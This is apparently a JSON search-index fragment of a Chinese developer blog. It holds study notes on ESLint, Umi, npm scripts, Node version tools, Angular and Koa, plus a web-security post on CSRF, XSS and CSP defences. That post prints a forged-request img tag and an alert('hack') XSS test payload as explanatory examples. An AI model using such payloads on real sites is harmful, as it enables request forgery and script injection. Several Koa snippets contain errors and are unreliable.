\u0026ndash;global\n修改scripts属性（package.json）\u0026ndash;fix参数是ESlint提供的自动修复基础错误功能（不能修复逻辑性错误），如果不要也可以\n\u0026ldquo;lint\u0026rdquo;: \u0026ldquo;eslint src \u0026ndash;fix\u0026rdquo;, \u0026ldquo;lint:create\u0026rdquo;: \u0026ldquo;eslint \u0026ndash;init\u0026rdquo;\n创建.eslintrc\nnpm run lint:create\n会显示显示要求，例如是否校验ES6语法，首行空白是Tab键还是Space等等\n校验程序（根据上面的修改，会检查src目录下的所有.js文件）\nnpm run lint\n.eslintrc文件是ESlint校验配置文件，这个配置文件可以自己设置（或者手写手动修改），也可以复制别人的\n\u0026ldquo;off\u0026rdquo; or 0 ：关闭规则\n\u0026ldquo;warn\u0026rdquo; or 1 ：将规则视为一个警告\n\u0026ldquo;error\u0026rdquo; or 2 ：将规则视为一个错误\n可以设置规范，只能使用单引号，tab缩进等等编写规范","title":"简单使用ESlint代码风格校验工具"},{"content":"Umi是一款前端应用框架\n官方文档：https://umijs.org/zh-CN/docs\n根据官方文档要求，node版本\u0026gt;=10.13\nyarn create @umijs/umi-app\n安装依赖\nyarn\n启动项目\nyarn start\n构建项目（默认生成到./dist）\nyarn build\n路由（src\\.umi\\core\\routes.ts）\n\u0026quot;routes\u0026quot;: [ { \u0026quot;path\u0026quot;: \u0026quot;/\u0026quot;, \u0026quot;component\u0026quot;: require('@/pages/index').default, \u0026quot;exact\u0026quot;: true },{ \u0026quot;path\u0026quot;: \u0026quot;/admin\u0026quot;, \u0026quot;component\u0026quot;: require('@/pages/admin').default, \u0026quot;exact\u0026quot;: true } ] 组件文件放在src\\pages下\npath是路径，component是组件路径，绝对和相对都可以用，也可以有require(\u0026rsquo;@/pages/xxx\u0026rsquo;)的方式\nexact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配\n子组件\n\u0026quot;routes\u0026quot;: [ { \u0026quot;path\u0026quot;: \u0026quot;/\u0026quot;, \u0026quot;redirect\u0026quot;: '/admin', },{ \u0026quot;path\u0026quot;: \u0026quot;/admin\u0026quot;, \u0026quot;component\u0026quot;: require('@/pages/admin').default, routes: [ { path: '/admin/archives', redirect: '/' }, { path: '/admin/category', component: 'category' }, ] } ] redirect是跳转路由，当访问/的时候，跳转到/admin\n文件路由（根据目录和文件名来分析路由）\n如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录\n注意：用.或者_开头的文件，用d.ts结尾的文件，不是 .js，.jsx，.ts或tsx文件，文件没有jsx元素的等等都不会被注册为路由\n动态路由\n使用[]包裹的路由将认为动态路由，例如：\n\u0026quot;routes\u0026quot;: [ { \u0026quot;path\u0026quot;: \u0026quot;/\u0026quot;, \u0026quot;component\u0026quot;: require('@/pages/index').default, \u0026quot;exact\u0026quot;: true },{ \u0026quot;path\u0026quot;: \u0026quot;/:data/admin\u0026quot;, \u0026quot;component\u0026quot;: require('@/pages/[data]/admin').default, \u0026quot;exact\u0026quot;: true } ] 像[ $]的就是可选的，不是必须的\n当目录下存在_layout.tsx的时候将生成嵌套路由\n约定src/pages/404.tsx是404页面，要返回react组件，会默认生成路由，{ component: \u0026lsquo;@/pages/404\u0026rsquo; }\n页面跳转一样分为声明式和命令式\n和在react一样，通过to属性指定路径，例如：\nimport { Link } from 'umi' export default () =\u0026gt; ( \u0026lt;Link to=\u0026quot;/admin\u0026quot;\u0026gt;Go\u0026lt;/Link\u0026gt; ) 命令式\nimport { history } from 'umi' function goPage() { history.push('/list') } 也是可以通过props.history.push()实现\numi约定如果存在src/pages/document.ejs文件，那么作为默认的模板\numi约定/mock文件夹下全部文件都为mock文件\n支持数组和对象\n例如：\nexport default { 'GET /api/name': { name: [\u0026quot;root\u0026quot;, \u0026quot;admin\u0026quot;] }, '/api/id': { id: 123 }, 'POST /api/users/create': (req, res) =\u0026gt; { res.setHeader('Access-Control-Allow-Origin', '*') res.end('ok') } } 访问http://localhost:8000/api/name，可以获得{\u0026ldquo;name\u0026rdquo;:[\u0026ldquo;root\u0026rdquo;,\u0026ldquo;admin\u0026rdquo;]}，访问/api/id可以{\u0026ldquo;id\u0026rdquo;:123}\n使用mock: false禁用当前mock文件\n.env文件为环境变量配置文件，例如\nPORT=3000\n那么就会以3000端口启动服务\n###umi cli\numi build\numi dev\numi generate\numi plugin\numi help\numi version\numi webpack\numi约定src/global.css为全局样式，如果存在这个文件，那么会自动引入\ncss模块化\nimport styles from \u0026lsquo;./styles.css\u0026rsquo;\numi内置less\n引入图片\n\u0026lt;img src={require(\u0026rsquo;./img.jpg\u0026rsquo;)} /\u0026gt;\n也是可以用@来指向src目录\n","permalink":"https://chenjunlinabc.github.io/posts/110/","summary":"Umi是一款前端应用框架\n官方文档：https://umijs.org/zh-CN/docs\n根据官方文档要求，node版本\u0026gt;=10.13\nyarn create @umijs/umi-app\n安装依赖\nyarn\n启动项目\nyarn start\n构建项目（默认生成到./dist）\nyarn build\n路由（src\\.umi\\core\\routes.ts）\n\u0026quot;routes\u0026quot;: [ { \u0026quot;path\u0026quot;: \u0026quot;/\u0026quot;, \u0026quot;component\u0026quot;: require('@/pages/index').default, \u0026quot;exact\u0026quot;: true },{ \u0026quot;path\u0026quot;: \u0026quot;/admin\u0026quot;, \u0026quot;component\u0026quot;: require('@/pages/admin').default, \u0026quot;exact\u0026quot;: true } ] 组件文件放在src\\pages下\npath是路径，component是组件路径，绝对和相对都可以用，也可以有require(\u0026rsquo;@/pages/xxx\u0026rsquo;)的方式\nexact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配\n子组件\n\u0026quot;routes\u0026quot;: [ { \u0026quot;path\u0026quot;: \u0026quot;/\u0026quot;, \u0026quot;redirect\u0026quot;: '/admin', },{ \u0026quot;path\u0026quot;: \u0026quot;/admin\u0026quot;, \u0026quot;component\u0026quot;: require('@/pages/admin').default, routes: [ { path: '/admin/archives', redirect: '/' }, { path: '/admin/category', component: 'category' }, ] } ] redirect是跳转路由，当访问/的时候，跳转到/admin\n文件路由（根据目录和文件名来分析路由）\n如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录\n注意：用.或者_开头的文件，用d.ts结尾的文件，不是 .","title":"Umi框架学习笔记"},{"content":"npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：\n\u0026quot;scripts\u0026quot;: { \u0026quot;dev\u0026quot;: \u0026quot;node hallo.js\u0026quot; } npm run dev // 等于执行node hallo.js\n查看当前项目的全部npm脚本\nnpm run\n注意：当前项目的node_modules/bin下的全部依赖都可以直接访问\n如果要执行多个脚本可以用\u0026amp;\u0026amp;（依次运行），\u0026amp;（并行运行）\nnpm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：\n\u0026quot;scripts\u0026quot;: { \u0026quot;predev\u0026quot;: \u0026quot;echo hallo\u0026quot;, \u0026quot;dev\u0026quot;: \u0026quot;node hallo.js\u0026quot;, \u0026quot;postdev\u0026quot;: \u0026quot;echo yes\u0026quot; } 相对于npm run predev \u0026amp;\u0026amp; npm run dev \u0026amp;\u0026amp; npm run postdev\n像install，uninstall，publish，test，start等等都有pre和post这两个钩子\n查看正在运行的脚本\nconst NpmScript = process.env.npm_lifecycle_event console.log(NpmScript)\n可以缩写不用run，例如：npm dev\nnpm script可以使用npm内部变量，例如：\n{ \u0026quot;name\u0026quot;: \u0026quot;root\u0026quot;, \u0026quot;scripts\u0026quot;: { \u0026quot;dev\u0026quot;: \u0026quot;node hallo.js $npm_package_name\u0026quot; } } 获取npm内部变量name\nconsole.log(process.env.npm_package_name)\n脚本错误抛出\n\u0026quot;scripts\u0026quot;: { \u0026quot;test\u0026quot;: \u0026quot;echo \\\u0026quot;Error: no test specified\\\u0026quot; \u0026amp;\u0026amp; exit 1\u0026quot; } 传递参数\n{ \u0026quot;scripts\u0026quot;: { \u0026quot;dev\u0026quot;: \u0026quot;node hallo.js\u0026quot; } } const name = process.env.npm_config_name console.log(name)\nnpm run dev \u0026ndash;name=root\n可以看到获取到了参数name的值\n","permalink":"https://chenjunlinabc.github.io/posts/109/","summary":"npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：\n\u0026quot;scripts\u0026quot;: { \u0026quot;dev\u0026quot;: \u0026quot;node hallo.js\u0026quot; } npm run dev // 等于执行node hallo.js\n查看当前项目的全部npm脚本\nnpm run\n注意：当前项目的node_modules/bin下的全部依赖都可以直接访问\n如果要执行多个脚本可以用\u0026amp;\u0026amp;（依次运行），\u0026amp;（并行运行）\nnpm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：\n\u0026quot;scripts\u0026quot;: { \u0026quot;predev\u0026quot;: \u0026quot;echo hallo\u0026quot;, \u0026quot;dev\u0026quot;: \u0026quot;node hallo.js\u0026quot;, \u0026quot;postdev\u0026quot;: \u0026quot;echo yes\u0026quot; } 相对于npm run predev \u0026amp;\u0026amp; npm run dev \u0026amp;\u0026amp; npm run postdev\n像install，uninstall，publish，test，start等等都有pre和post这两个钩子\n查看正在运行的脚本\nconst NpmScript = process.env.npm_lifecycle_event console.log(NpmScript)\n可以缩写不用run，例如：npm dev\nnpm script可以使用npm内部变量，例如：\n{ \u0026quot;name\u0026quot;: \u0026quot;root\u0026quot;, \u0026quot;scripts\u0026quot;: { \u0026quot;dev\u0026quot;: \u0026quot;node hallo.js $npm_package_name\u0026quot; } } 获取npm内部变量name\nconsole.log(process.env.npm_package_name)\n脚本错误抛出\n\u0026quot;scripts\u0026quot;: { \u0026quot;test\u0026quot;: \u0026quot;echo \\\u0026quot;Error: no test specified\\\u0026quot; \u0026amp;\u0026amp; exit 1\u0026quot; } 传递参数","title":"简单了解并且使用npm script"},{"content":"数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系\n数据结构（数组，字符串，队列，栈，链表，集合，哈希表（散列表），树（二叉树），图）\n集合：结构中的元素除了同属于一个集合外，没有别的关系\n线性结构：结构中的元素之间存在一对一的关系，一个对应一个\n数性结构：结构中的元素之间存在一对多的关系\n图形结果或者网状结构：结构中的任意元素都可以有关系\n顺序结构：数据元素按照一个排序（规律）顺序存放，例如1，2，3\n链式结构：每一个数据元素都是随机存放\n栈：线性结构的一种特殊的存储方式\n数据存储是按照先进后出的原理，先进入的数据，放在最下面，最后进入的放在最前面\n数据的获取也是才上面往下面获取的\n顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一\n","permalink":"https://chenjunlinabc.github.io/posts/106/","summary":"数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系\n数据结构（数组，字符串，队列，栈，链表，集合，哈希表（散列表），树（二叉树），图）\n集合：结构中的元素除了同属于一个集合外，没有别的关系\n线性结构：结构中的元素之间存在一对一的关系，一个对应一个\n数性结构：结构中的元素之间存在一对多的关系\n图形结果或者网状结构：结构中的任意元素都可以有关系\n顺序结构：数据元素按照一个排序（规律）顺序存放，例如1，2，3\n链式结构：每一个数据元素都是随机存放\n栈：线性结构的一种特殊的存储方式\n数据存储是按照先进后出的原理，先进入的数据，放在最下面，最后进入的放在最前面\n数据的获取也是才上面往下面获取的\n顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一","title":"数据结构学习笔记"},{"content":"npm在这里https://xiaochenabc123.test.com/archives/31.html\nYarn在这里https://xiaochenabc123.test.com/archives/38.html\nnvm全名node.js version management\n用来nodejs多版本管理，可以切换和安装不同版本的nodejs\n安装nvm之前记得把安装过的nodejs都卸载了\n安装完成后，安装目录下会生成一个settings.txt文件\n配置一下（如果要使用淘宝npm源的话）\nroot: D:\\Software\\nvm path: D:\\Software\\nodejs arch: 64 node_mirror: https://npm.taobao.org/mirrors/node/ npm_mirror: https://npm.taobao.org/mirrors/npm/\n环境变量\nNVM_HOME设置为nvm安装目录\nNVM_SYMLINK设置为nodejs安装目录\nPath：添加%NVM_HOME%和%NVM_SYMLINK%\n注意：安装路径不能出现中文或者空格，否则报错，请使用管理员权限运行use命令，否则可能导致exit status 1:xxx\n安装指定版本nodejs\nnvm install 14.17.3\n查看可以安装的nodejs版本\nnvm ls available\n查看当前全部已经安装的nodejs版本\nnvm ls\n切换nodejs版本\nnvm use 14.17.3\n卸载nodejs\nnvm uninstall 14.17.3\n查看系统位数和node位数\nnvm arch\n另一个nodejs多版本管理工具n\n安装n\nnpm install -g n\n安装最新nodejs版本\nn latest\n安装稳定版本nodejs\nn stable\n安装lts版本\nn lts\n安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）\nn 14.17.3\n卸载指定版本\nn rm 14.17.3\n指定版本执行js\nn use 14.17.3 app.js\n切换版本（n回车后，通过上下键来选择版本）\nn\n查看网络上可以安装的nodejs版本\nn ls-remote \u0026ndash;all\n删除除当前版本外的全部版本\nn prune\nnrm镜像源管理工具\n安装nrm\nnpm install -g nrm\n查看全部源\nnrm ls\n带*的是当前源\n切换源\nnrm use taobao\n添加自定义源（腾讯npm）\nnrm add tencentnpm https://mirrors.cloud.tencent.com/npm/\n删除源\nnrm del taobao\n测试源速度\nnrm test npm\nPM2是node进程管理工具，可以用来监控性能，进程守护，负载均衡等等\n安装pm2\nnpm install -g pm2\n或者\nyarn add global pm2\n启动应用（\u0026ndash;watch是当文件发生变化自动重启，-i 3是3个app.js的应用实例，-name是命名应用）\npm2 start app.js \u0026ndash;watch -i 3 -name=\u0026ldquo;main\u0026rdquo;\n执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程\npm2 start app.js –watch -i max –ignore-watch=“node_modules” –name demo\n–ignore-watch=“node_modules\u0026quot;为忽略监听指定的目录或者文件，这里忽略的是node_modules文件夹\n–name为进程名字\npm2执行npm run dev\npm2 start npm –watch – run dev\npm2执行npm run start\npm2 start npm –name demo – run start\n停止应用\npm2 stop app.js\n重启应用\npm2 reload app.js\n删除应用\npm2 delete app.js\n也可以用all来处理全部应用\npm2不只是只能启动nodejs，Python或者shell都可以\n查看PM2中的进程信息\npm2 list\n查看指定进程id的信息\npm2 show 0\n重启指定进程id的进程\npm2 restart 0\n重启全部进程\npm2 restart all\n停止指定进程id的进程\npm2 stop 0\n删除指定进程id的进程\npm2 delete 0\n显示全部应用日志\npm2 logs\n查看指定应用的日志\npm2 logs main\n清空所有日志文件\npm2 flush\n更新pm2\nnpm install pm2@latest -g\npm2内存更新\npm2 update\n查看pm2运行中的全部应用\npm2 list\n查看各个应用内存占用和CPU情况\npm2 monit\n查看指定应用的全部信息\npm2 show main\npnpm\npnpm是Node.js包管理工具，解决了npm/yarn的一些BUG\n特点是：包安装速度极快，磁盘空间利用高效，支持monorepo\n和yarn一样，也是通过缓存来保存安装过的包，使用pnpm-lock.yaml记录依赖包版本\npnpm是利用软链接（快捷方式）来实现依赖结构扁平化，从而解决了从缓存中拷贝文件的时间\n更安全：没有在package.json声明，将不能使用依赖，而且不存在依赖提升（一个包依赖于另一个包，而且那个包不需要声明，就可以使用）\n安装\nnpm install -g pnpm\n安装包\npnpm install axios\n升级\npnpm add -g pnpm\n卸载\npnpm uninstall axios \u0026ndash;filter package-a\n","permalink":"https://chenjunlinabc.github.io/posts/105/","summary":"npm在这里https://xiaochenabc123.test.com/archives/31.html\nYarn在这里https://xiaochenabc123.test.com/archives/38.html\nnvm全名node.js version management\n用来nodejs多版本管理，可以切换和安装不同版本的nodejs\n安装nvm之前记得把安装过的nodejs都卸载了\n安装完成后，安装目录下会生成一个settings.txt文件\n配置一下（如果要使用淘宝npm源的话）\nroot: D:\\Software\\nvm path: D:\\Software\\nodejs arch: 64 node_mirror: https://npm.taobao.org/mirrors/node/ npm_mirror: https://npm.taobao.org/mirrors/npm/\n环境变量\nNVM_HOME设置为nvm安装目录\nNVM_SYMLINK设置为nodejs安装目录\nPath：添加%NVM_HOME%和%NVM_SYMLINK%\n注意：安装路径不能出现中文或者空格，否则报错，请使用管理员权限运行use命令，否则可能导致exit status 1:xxx\n安装指定版本nodejs\nnvm install 14.17.3\n查看可以安装的nodejs版本\nnvm ls available\n查看当前全部已经安装的nodejs版本\nnvm ls\n切换nodejs版本\nnvm use 14.17.3\n卸载nodejs\nnvm uninstall 14.17.3\n查看系统位数和node位数\nnvm arch\n另一个nodejs多版本管理工具n\n安装n\nnpm install -g n\n安装最新nodejs版本\nn latest\n安装稳定版本nodejs\nn stable\n安装lts版本\nn lts\n安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）\nn 14.17.3\n卸载指定版本\nn rm 14.17.3","title":"NodeJS常用工具的简单使用"},{"content":"Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）\nAngular和Vue的区别就是，Angular具备完整的MVVM框架功能（功能高度集成），提供一套完整的解决方案，而Vue是轻量级MVVM框架（渐进式，还需要vue-router之类的扩展功能），Angular和Vue并没有谁好谁坏之分，各有风格\n注意：Angular是AngularJS的重写，AngularJS使用JavaScript编写完成，而Angular采用TypeScript编写完成\n安装\nnpm install -g angular-cli\n第一个Angular应用\n\u0026lt;div ng-app ng-init=\u0026quot;name='default'\u0026quot;\u0026gt; \u0026lt;p\u0026gt;name: \u0026lt;input type=\u0026quot;text\u0026quot; ng-model=\u0026quot;name\u0026quot;\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;h1\u0026gt;hallo，{{name}}\u0026lt;/h1\u0026gt; \u0026lt;p ng-bind=\u0026quot;name\u0026quot;\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值\n","permalink":"https://chenjunlinabc.github.io/posts/101/","summary":"Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）\nAngular和Vue的区别就是，Angular具备完整的MVVM框架功能（功能高度集成），提供一套完整的解决方案，而Vue是轻量级MVVM框架（渐进式，还需要vue-router之类的扩展功能），Angular和Vue并没有谁好谁坏之分，各有风格\n注意：Angular是AngularJS的重写，AngularJS使用JavaScript编写完成，而Angular采用TypeScript编写完成\n安装\nnpm install -g angular-cli\n第一个Angular应用\n\u0026lt;div ng-app ng-init=\u0026quot;name='default'\u0026quot;\u0026gt; \u0026lt;p\u0026gt;name: \u0026lt;input type=\u0026quot;text\u0026quot; ng-model=\u0026quot;name\u0026quot;\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;h1\u0026gt;hallo，{{name}}\u0026lt;/h1\u0026gt; \u0026lt;p ng-bind=\u0026quot;name\u0026quot;\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值","title":"Angular学习笔记"},{"content":"koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架\n个人推荐：个人开发推荐用koa，团队开发推荐用egg\negg是在koa的基础上进行封装，并且提供了一些，并且添加了约束，更利于工程化的开发\n安装koa\nnpm install koa\n新建一个app.js\nconst Koa = require(\u0026quot;koa\u0026quot;) const app = new Koa() app.use(async (ctx, next) =\u0026gt; { await next() ctx.response.type = 'text/html' ctx.response.body = '\u0026lt;h1\u0026gt;hallo, koa!\u0026lt;/h1\u0026gt;' }) app.listen(3000) node app.js\nget请求参数的接收\nconst Koa = require('koa') const app = new Koa() app.use(async(ctx)=\u0026gt;{ const url =ctx.url const request =ctx.request const reqQuery = request.query const reqQuerystring = request.querystring ctx.body={ url, reqQuery, reqQuerystring } }) app.listen(3000,()=\u0026gt;{ console.log('port 3000') }) http://127.0.0.1:3000/admin?name=admin\u0026amp;pass=123\n通过ctx.request来获取得到get请求参数（query）\n还可以通过ctx上下文获取\napp.use(async(ctx)=\u0026gt;{ const url =ctx.url const ctxQuery = ctx.query const ctxQuerystring = ctx.querystring ctx.body={ url, ctxQuery, ctxQuerystring } }) Post请求接收\nKoa默认返回类型是text/plain，判断返回类型ctx.request.accepts()\n一般来说，返回给用户的页面都是写成文件的，因此可以通过nodejs的fs来读取本地的文件\nconst fs = require(\u0026quot;fs\u0026quot;) app.use(async (ctx, next) =\u0026gt; { await next() ctx.response.type = 'text/html' ctx.response.body = 'fs.createReadStream('./test.html')' }) 路由\n判断当前路由地址\nctx.request.path\n路由模块\nconst route = require(\u0026lsquo;koa-route\u0026rsquo;)\napp.ues(route.get(\u0026quot;/\u0026quot;, main))\n静态资源管理\nconst path = require(\u0026lsquo;path\u0026rsquo;) const serve = require(\u0026lsquo;koa-static\u0026rsquo;) const main = serve(path.join(__dirname)) app.use(main)\n重定向\nctx.response.redirect()可以实现302重定向，例如：\nconst redirect = ctx =\u0026gt; { ctx.response.redirect('/') ctx.response.body = '\u0026lt;a href=\u0026quot;/\u0026quot;\u0026gt;index\u0026lt;/a\u0026gt;' } app.use(route.get('/auth, redirect)); 中间件\n中间件实质上就是在请求和响应之间，实现某个中间功能，而app.use()就是用来加载中间件的\n这个中间件默认支持两个参数（ctx和next）\n多个中间件，按照先进后出，next可以传递，await next就是异步中间件\n合成中间件\nconst compose = require(\u0026lsquo;koa-compose\u0026rsquo;) const c = compose([a, b]) app.use(c)\n抛出错误\nconst main = ctx =\u0026gt;{ ctx.response.status = 404 ctx.response.body = '404找不到资源'; } 注意：发生错误，koa会触发一个error事件，因此也可以监听这个事件，来抛出错误\n读写cookies\nctx.cookies.get()\n","permalink":"https://chenjunlinabc.github.io/posts/100/","summary":"koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架\n个人推荐：个人开发推荐用koa，团队开发推荐用egg\negg是在koa的基础上进行封装，并且提供了一些，并且添加了约束，更利于工程化的开发\n安装koa\nnpm install koa\n新建一个app.js\nconst Koa = require(\u0026quot;koa\u0026quot;) const app = new Koa() app.use(async (ctx, next) =\u0026gt; { await next() ctx.response.type = 'text/html' ctx.response.body = '\u0026lt;h1\u0026gt;hallo, koa!\u0026lt;/h1\u0026gt;' }) app.listen(3000) node app.js\nget请求参数的接收\nconst Koa = require('koa') const app = new Koa() app.use(async(ctx)=\u0026gt;{ const url =ctx.url const request =ctx.request const reqQuery = request.query const reqQuerystring = request.querystring ctx.body={ url, reqQuery, reqQuerystring } }) app.listen(3000,()=\u0026gt;{ console.log('port 3000') }) http://127.","title":"Koa框架学习笔记"},{"content":"CSRF\nCSRF：跨站点请求伪造(Cross—Site Request Forgery)\nCSRF实质上就是盗用身份，来实现发送恶意请求\n在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求\n例如：\n\u0026lt;img src =\u0026quot;http://xxx.xxx/test?xxx=666\u0026quot;\u0026gt; 只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等\n而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求\n这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击\n还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录\nJavaScript简单实现方法\nlet referer = document.location.href; if(referer != null \u0026amp;\u0026amp; referer.startsWith(\u0026quot;https://xiaochenabc123.test.com\u0026quot;)){ console.log(\u0026quot;验证成功!!!\u0026quot;) }else{ console.log(\u0026quot;验证失败!!!\u0026quot;) } 防御措施：token身份验证，页面来源验证（referer）等等\nXSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS\nXSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的\n例如：在某个页面评论上加\u0026lt;script\u0026gt;alert(\u0026lsquo;hack\u0026rsquo;)\u0026lt;/script\u0026gt;，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序\n做那些标签防御，都可以闭合绕过，都是无用功，例如：通过属性值来输出\n也用通过过滤\u0026lt;script\u0026gt;标签的，但是可以通过大小写绕过（html不区分大小写）\n简单的防御方法：\n通过严格的过滤白名单来过滤，限制输入值的类型\nhtml实体编码转义，htmlspecialchars()或者htmlentities()\nX-XSS-Protection\nxss和csrf的区别：csrf是利用网站的自动执行的接口，依赖于用户已经登录页面（Cookie），而且xss是在页面插入js，来恶意执行js脚本的内容\n同源策略（Same-origin Policy）：只有协议，域名，端口号都相同才满足同源，否则就是跨域\n同源策略是浏览器提供的安全策略，限制某个脚本的加载范围（隔离潜在恶意脚本的安全机制）\n可以限制脚本无法读取Cookie，LocalStorage和IndexDB，无法操作dom（无法获取dom），请求不能发送等等\n跨域通信的方式：jsonp，hash，postmessage，websocket，cors\n同域可以使用ajax，cors（支持同源通信，也是支持跨域），websocket（不受同源策略限制）进行通信\n内容安全策略（Content Security Policy）：可以一定程度上免疫或者削弱XSS攻击\n内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好\n要开启CSP需要服务器返回Content-Security-Policy头部\nhtml也可以配置该策略，例如：\n\u0026lt;meta http-equiv=\u0026quot;Content-Security-Policy\u0026quot; content=\u0026quot;default-src 'self'; img-src https://*;\u0026quot;\u0026gt; 其中img-src对应的指定图像或者图标的有效来源\n常用的有img-src，font-src，script-src，style-src等等\nCSRF\nX-Frame-Options：DENY/SAMEORIGIN\n可以利用Cookie的SameSite属性，这个属性有3个值，分别是Strict，Lax，None，主要用的就是Strict属性值\nStrict：完全禁止第三方Cookie，只有当目前网页的url和请求目标一致才会发生Cookie\n中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）\n","permalink":"https://chenjunlinabc.github.io/posts/99/","summary":"CSRF\nCSRF：跨站点请求伪造(Cross—Site Request Forgery)\nCSRF实质上就是盗用身份，来实现发送恶意请求\n在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求\n例如：\n\u0026lt;img src =\u0026quot;http://xxx.xxx/test?xxx=666\u0026quot;\u0026gt; 只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等\n而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求\n这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击\n还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录\nJavaScript简单实现方法\nlet referer = document.location.href; if(referer != null \u0026amp;\u0026amp; referer.startsWith(\u0026quot;https://xiaochenabc123.test.com\u0026quot;)){ console.log(\u0026quot;验证成功!!!\u0026quot;) }else{ console.log(\u0026quot;验证失败!!!\u0026quot;) } 防御措施：token身份验证，页面来源验证（referer）等等\nXSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS\nXSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的\n例如：在某个页面评论上加\u0026lt;script\u0026gt;alert(\u0026lsquo;hack\u0026rsquo;)\u0026lt;/script\u0026gt;，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序\n做那些标签防御，都可以闭合绕过，都是无用功，例如：通过属性值来输出\n也用通过过滤\u0026lt;script\u0026gt;标签的，但是可以通过大小写绕过（html不区分大小写）\n简单的防御方法：\n通过严格的过滤白名单来过滤，限制输入值的类型\nhtml实体编码转义，htmlspecialchars()或者htmlentities()\nX-XSS-Protection\nxss和csrf的区别：csrf是利用网站的自动执行的接口，依赖于用户已经登录页面（Cookie），而且xss是在页面插入js，来恶意执行js脚本的内容\n同源策略（Same-origin Policy）：只有协议，域名，端口号都相同才满足同源，否则就是跨域\n同源策略是浏览器提供的安全策略，限制某个脚本的加载范围（隔离潜在恶意脚本的安全机制）\n可以限制脚本无法读取Cookie，LocalStorage和IndexDB，无法操作dom（无法获取dom），请求不能发送等等\n跨域通信的方式：jsonp，hash，postmessage，websocket，cors\n同域可以使用ajax，cors（支持同源通信，也是支持跨域），websocket（不受同源策略限制）进行通信\n内容安全策略（Content Security Policy）：可以一定程度上免疫或者削弱XSS攻击\n内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好\n要开启CSP需要服务器返回Content-Security-Policy头部\nhtml也可以配置该策略，例如：\n\u0026lt;meta http-equiv=\u0026quot;Content-Security-Policy\u0026quot; content=\u0026quot;default-src 'self'; img-src https://*;\u0026quot;\u0026gt; 